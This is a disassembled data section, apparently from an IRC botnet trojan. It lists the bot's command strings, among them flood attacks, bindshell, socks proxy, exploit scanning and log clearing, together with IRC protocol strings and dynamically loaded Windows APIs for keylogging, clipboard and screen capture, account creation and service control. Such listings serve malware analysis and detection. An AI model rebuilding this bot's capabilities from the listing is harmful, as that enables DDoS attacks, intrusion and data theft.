aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 10h
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
					; ___:00437F8Co
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C28C	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C2B4	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
					; ___:00437F60o
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1662o
					; ___:00437FDCo
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 10h
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_437BF8o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 10h
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 4
dword_42C378	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 4
dword_42C398	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 10h
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42C3BC	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 10h
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42C40C	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42C454	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C488	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42C498	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42C4A8	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42C4B8	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42C4C8	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42C4D4	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42C4E0	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42C4EC	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 4
dword_42C504	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42C510	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 4
dword_42C528	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42C538	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 4
dword_42C554	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42C564	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 10h
dword_42C580	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42C58C	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42C5A0	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42C5AC	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42C5B8	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5C4	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42C5D4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 4
dword_42C5F4	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C600	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42C614	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 10h
dword_42C630	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42C64C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 4
dword_42C674	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 10h
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 10h
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 4
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:00437C24o ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 10h
asc_42C720:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 10h
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 10h
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42C764	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42C798	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42C7C8	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42C800	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42C828	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42C86C	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42C8A8	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42C8C0	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42C8C8	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42C8E4	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42C8F0	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42C8F4	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 10h
dword_42C930	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42C938	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42C94C	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 10h
unk_42C970	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42C9C4	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 10h
asc_42CA30:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42CA34:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42CA38	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 10h
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 10h
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 10h
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 10h
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 10h
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 10h
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 10h
